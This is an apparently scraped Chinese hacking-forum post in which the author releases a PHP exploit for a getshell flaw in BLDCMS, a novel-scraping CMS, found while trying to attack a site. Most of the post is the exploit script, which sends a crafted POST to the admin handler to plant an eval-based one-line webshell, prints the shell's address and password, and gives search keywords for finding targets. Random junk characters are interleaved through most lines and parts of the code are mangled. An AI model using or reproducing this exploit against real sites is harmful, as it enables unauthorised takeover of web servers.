之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
+ a7 n9 D0 ^2 P7 S; i2 n
5 s2 C6 k j, r* R6 O
3 Z0 \4 K7 h% |话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
2 l0 _! z) B& e* b& M8 P + O* L6 O5 S/ I% B6 j5 v. i' V
既然都有人发了 我就把我之前写好的EXP放出来吧
, i% b! t! F4 z5 o" d; W* Q
# |+ {4 X9 ~( T, S: @view source print?01.php;">* t6 V8 f! u3 P2 j, e( Z, v& G
02.<!--?php0 S+ t7 h! x% W
03.echo "-------------------------------------------------------------------
+ w' U' G' y4 G: x' C, n04.
; b6 ~. a( ?( \" S$ s) N0 c05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
& |4 F1 Z- M$ h7 x3 x06. $ y2 x: q" G3 X% Q/ Q2 ^# M
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
. c4 ` v0 {% c0 b2 X+ T08. 0 x8 c/ J$ Q( o- G* C; e
09.QQ:981009941\r\n 2013.3.21\r\n
3 }6 f1 K7 R8 h4 v0 f: W10.
# X. B0 _& o- A11. & i2 k) X5 ?( m3 }3 _; b
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码! r9 h% Z3 A! s4 ~+ {. x
13.
& ?) S: n3 @# c( [14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
/ \9 p* x$ U4 c2 A15.
0 ^; ?) o# _$ V; g/ V16.--------------------------------------------------------------------\r\n";# C8 J1 K& P4 X: T6 @! {
17.$url=$argv[1];0 u) F! s5 J [; |
18.$dir=$argv[2];1 y6 p: i, N, q( u9 n
19.$pass=$argv[3];
; A' D6 a9 u; l- r) {20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';2 h H/ D4 `" ~$ d
21.if (emptyempty($pass)||emptyempty($url))
$ G7 T9 c7 \; q. |22.{exit("请输入参数");}
$ Y( ~8 w2 Z E/ g( }5 r: C& [* x23.else3 V' g( C9 M+ ^. [ R$ g
24.{
0 K# U; }$ T5 O+ ^2 w3 a25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
0 ~! N5 e( T6 Q% c+ Y7 x26.
/ z1 M8 A. T4 \$ i/ e8 ~27.al;% l; ?( K) { o$ L) v( Q
28.$length = strlen($fuckdata);( g4 E7 T6 k7 F N
29.function getshell($url,$pass)
3 i6 v$ E9 I' l7 U* A% t30.{
6 w2 d% d- Z6 d" |9 q7 |9 y5 @31.global $url,$dir,$pass,$eval,$length,$fuckdata;$ {- A$ R# w7 o# g
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
0 b3 [% ]) f* L- Q- ~# ]0 \33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
5 Q) s% C: V# Y- B34.$header .= "User-Agent: MSIE\r\n"; `; d+ h' s) L* I3 b
35.$header .= "Host:".$url."\r\n";! J% V5 S( E& G/ U T- j; k" u
36.$header .= "Content-Length: ".$length."\r\n";4 F( }+ \" T' V
37.$header .= "Connection: Close\r\n";
0 I* K8 F' m7 I& t- H! i# f38.$header .="\r\n";3 g, G6 I# w! n3 G
39.$header .= $fuckdata."\r\n\r\n";2 U. x8 \3 n$ d4 ?, h5 M- D. @" U
40.$fp = fsockopen($url, 80,$errno,$errstr,15);5 n6 M( ~; [& j1 m& K$ W N
41.if (!$fp)$ r3 t2 n3 {* I9 E/ {- H) i
42.{
! t3 P/ l% ?: Y; B: ~( o43.exit ("利用失败:请检查指定目标是否能正常打开");/ z1 ]+ R8 z( d- G7 r
44.}, l6 O( F3 p4 y* C, Y
45.else{ if (!fputs($fp,$header))
4 h3 f0 u( P( O46.{exit ("利用失败");}
# W6 n* w6 H3 b47.else1 a$ [- ?6 z" X! C- i K% J* a% Q6 P* X
48.{, T/ Q8 c% m" o, c1 i; l
49.$receive = '';6 o. s0 ?( \# v8 I2 ^
50.while (!feof($fp)) {
2 W9 h# p: F! v- [& ^/ l51.$receive .= @fgets($fp, 1000);! a5 }, {4 E5 z" {$ ^1 |) {
52.}
8 M* [! l: X8 C$ p/ e) j( J53.@fclose($fp);/ g, Q& C* ] I- r
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
q2 Y% f5 J2 y' i4 v3 c55.
) u* Y* B4 f) _9 r2 J56.GPC是否=off)";
4 b' a6 _2 a7 i+ W6 q4 d57.}}
, i J- @" s% n* e58.}
& e- N1 D) m% p59.}
* b( W; z; r* ~5 M( W# P60.getshell($url,$pass);
+ u; m! P& @5 p3 |$ c8 c+ u61.?-->$ x% I6 ?4 R: N! s0 v7 m! @
3 K7 W7 G6 M7 O( Q9 y# h/ N7 ~! g
4 e* E i: [! {: x; A
! ?2 d1 h9 r" I, n0 c& Wby 数据流6 P' n# ?+ P$ H) c+ w
|